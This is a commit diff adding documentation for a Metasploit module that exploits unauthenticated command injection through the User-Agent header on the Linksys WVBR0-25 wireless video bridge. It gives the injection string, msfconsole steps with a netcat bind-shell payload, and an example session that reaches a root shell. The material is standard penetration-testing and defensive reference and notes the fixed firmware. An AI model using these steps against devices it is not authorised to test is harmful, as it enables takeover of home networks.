Adding doc file for module linksys_wvbr0_user_agent_exec_noauth

documentation/modules/exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth.md

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+## Vulnerable Application
+
+  This module exploits a command injection vulnerability in the [Linksys WVBR0-25](https://www.att.com/help/manuals/directv/dvrs.html) wireless video bridge. A description of the exploited vulnerability is available in the Vulnerability Details section of [this advisory](http://www.zerodayinitiative.com/advisories/ZDI-17-973/).
+  The latest confirmed vulnerable firmware version is 1.0.39. It may be possible to downgrade newer versions to a vulnerable version, but since firmware images are not available for download, this cannot be verified.
+
+  There is no complete list of vulnerable firmware versions, however the check method can reliably detect whether a device is vulnerable. The check method browses to the root of the device's webserver with a User-Agent set to `"; printf "[random string]`. If the response contains an md5 hash of the random string, the device is vulnerable to command injection.
+
+  Manual exploitation would equate to browsing to the URI `http://<ip>/` with the User-Agent header set to `"; command;`.
+
+  Version 1.0.39 was confirmed vulnerable, and firmware 1.0.41 was released to fix the exploit.
+
+## Verification Steps
+
+  1. Make sure the device is running.
+  2. Start msfconsole.
+  3. Do: ```use exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth```
+  4. Do: ```set payload cmd/unix/bind_netcat```
+  5. Do: ```set RHOST <ip>```
+  6. Do: ```exploit```
+  7. You should get a shell.
+
+## Options
+
+  **PAYLOAD**
+
+  The `generic` and `netcat` payload types are valid.
+
+## Scenarios
+
+### Firmware 1.0.39
+
+  The following is an example run getting a shell:
+
+  ```
+  msf > use exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth 
+  msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set payload cmd/unix/bind_netcat 
+  payload => cmd/unix/bind_netcat
+  msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set RHOST 10.0.0.104
+  RHOST => 10.0.0.104
+  msf exploit(linksys_wvbr0_user_agent_exec_noauth) > exploit
+
+  [*] 10.0.0.104:80 - Trying to access the device ...
+  [*] Started bind handler
+  [*] 10.0.0.104:80 - Exploiting...
+  [*] Command shell session 1 opened (10.0.0.109:40541 -> 10.0.0.104:4444) at 2017-12-21 17:09:54 -0600
+  id
+
+  uid=0(root) gid=0(root)
+  ```